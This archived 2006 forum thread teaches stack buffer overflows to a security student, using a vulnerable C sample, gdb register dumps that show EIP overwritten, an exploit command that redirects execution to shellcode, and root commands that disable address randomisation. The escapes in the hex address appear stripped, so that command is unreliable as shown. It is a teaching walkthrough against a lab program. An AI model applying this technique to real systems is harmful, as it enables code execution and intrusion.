cppisfun Posted October 25, 2006 Posted October 25, 2006 hi, i'm taking a security course and I was wondering if there were any experts in C that could show me a small buffer overflow example. It can be something as simple as trying to copy a string that's longer than a character array that's defined in the program. I was also wondering if you can show me how a driver application could run that program and try to make a call to a function that was not originally used in program. I know that theres material online that I could find, but I wanted to a real world example and possibly an explanation. Thank you. =] Quote
cooper Posted October 25, 2006 Posted October 25, 2006 #include <stdio.h> int main(void) { char small_buffer[5]; printf("Please provide me with less than 5 characters:"); scanf("%s",&small_buffer); printf("%s",&small_buffer); return 0; } I'm following a course ATM so I can't test it, but it should be something like this. Quote
cppisfun Posted October 25, 2006 Author Posted October 25, 2006 Yea I've read the example at smash the stack and other examples online, but they only show you how to spawn a shell. I wanted to do a simple buffer overflow like the example you have posted, with just a small spin. Instead of spawning a shell, in the vuln.c would hold an uncalled function and exploit.c would exploit the vuln.c and jump to the uncalled function. I know have to find out where the SP starts at and look at the assembly, but I haven't found any examples how to make it jump to a certain part of code. I wanted to see if anyone had a solid example that shows this or detail tutorial that does this. Quote
cooper Posted October 25, 2006 Posted October 25, 2006 From what I recall the way they do it is you start the program in a debugger (this is on UNIX. Not sure if that Dr. Watson thing on Windows lists register info) then fill up the buffer to WELL beyond its limitations with all 0xAA characters, and then see which of the registers get filled. I don't know ASM very well, but I think it was the EIP register that you want to see filled with your 0xAA chars. Once you have that, you find out which block of your data it is that actually gets placed that register. Just make half the data you write to the buffer 0xAA and the other half 0xBB, and then repeat with the half whose data is written in the register. Now you know where to place your first instruction, and can dump in shellcode from that point on. Again, I'm no ASM coder. This is from memory about something I never really got into. No guarantees are made about either the accuracy or usefulness of this comment. ;) Quote
cppisfun Posted October 26, 2006 Author Posted October 26, 2006 Thanks for the suggestion reading, I've actually found quite a bit of tutorials online, but again the exploit is spawning a shell. My intent to learn about the BOF's is to just try to call an uncalled function in the vuln.c program, it's a little different than injecting the shell code to give back a shell once the exploit has been reached. Quote
cooper Posted October 26, 2006 Posted October 26, 2006 Well, you're chucking in shellcode. Couldn't that shellcode say quite a bit more than simply 'run a shell'? You have full control at this point do you not? The only limiting factory is payload size. Or am I missing something obvious? Quote
cppisfun Posted October 26, 2006 Author Posted October 26, 2006 you're correct, but I guess theres my problem. I'm not sure how to inject the address of the start of the uncalled function. It seems that every site I've visited shows you how to get shell code, which can also be googled I guess. There hasn't been an example on how to get to the address of the uncalled function. I know you have to put the assembly into the so called "exploit buffer", but that's where I'm not too sure on how to handle. So I was hoping someone had a concrete example I could follow from and then produce something similiar on my own. Quote
Guest Posted October 27, 2006 Posted October 27, 2006 you inject the memory location inside the buffer, so if we have a buffer that is say 512 bytes and it takes 516 bytes to over flow the thing, Do this inside gdb and take a look at the registers after you have done it run `perl -e'print "A" x 516'` That should give you something like this Starting program: /Lab/Code/c++/buffer/buffer `perl -e'print "A" x 516'` Your name AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA Program received signal SIGSEGV, Segmentation fault. 0xb7eb7e01 in __libc_start_main () from /lib/tls/i686/cmov/libc.so.6 (gdb) info reg eax 0x0 0 ecx 0x0 0 edx 0x20f 527 ebx 0xb7fcdadc -1208165668 esp 0xbffff551 0xbffff551 ebp 0x41414141 0x41414141 esi 0xbffff5d4 -1073744428 edi 0xbffff560 -1073744544 eip 0xb7eb7e01 0xb7eb7e01 <__libc_start_main+49> eflags 0x210282 2163330 cs 0x73 115 ss 0x7b 123 ds 0x7b 123 es 0x7b 123 fs 0x0 0 gs 0x33 51 As you can see we only fild the ebp up, but we need to also fill the eip, so what we do is see if we can also over flow into the eip by sending it another 4 extra bytes. Execute the program again inside gdb but this time send it 520 A's run `perl -e'print "A" x 520'` Once the program has crashed we then look at the registrys again and we should see something like this Starting program: /Lab/Code/c++/buffer/buffer `perl -e'print "A" x 520'` Your name AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA Program received signal SIGSEGV, Segmentation fault. 0x41414141 in ?? () (gdb) info reg eax 0x0 0 ecx 0x0 0 edx 0x213 531 ebx 0xb7fcdadc -1208165668 esp 0xbffff550 0xbffff550 ebp 0x41414141 0x41414141 esi 0xbffff5d4 -1073744428 edi 0xbffff560 -1073744544 eip 0x41414141 0x41414141 eflags 0x210296 2163350 cs 0x73 115 ss 0x7b 123 ds 0x7b 123 es 0x7b 123 fs 0x0 0 gs 0x33 51 So what does this tell us? Well it says that it is going to take 520 bytes to overflow the eip, this is the register that holds the address to the shellcode. This means that if we load the shell code into memory and find the address of the shell code (i wont go into that, im assuming you already know how to find the address) we can pass that address to eip. What we do is we send 516 bytes of A's and the last 4 bytes is the address of the eip so lets say the memory location of the shell code is 0xbffff8be so we convert that address by removing the 0x then reversing the address old: bf ff f8 be new: be f8 ff bf we then add a x in front of each hex value so it now looks like xbexf8xffxbf and there we have it the address that we are going to pass to eip so now all that is left is to exploit the program ./buffer `perl -e'print "A" x 516'``printf "xbexf8xffxbf"` Notice how we pass it 516 A's and the other four bytes is the address? If you got the address correct the shellcode should of executed on your computer Note: You will need to turn off the VA kernel patch to do this, login as root and enter the following echo 0 > /proc/sys/kernel/randomize_va_space and to turn it back on once you have finished just execute echo 1 > /proc/sys/kernel/randomize_va_space Quote
Recommended Posts
Join the conversation
You can post now and register later. If you have an account, sign in now to post with your account.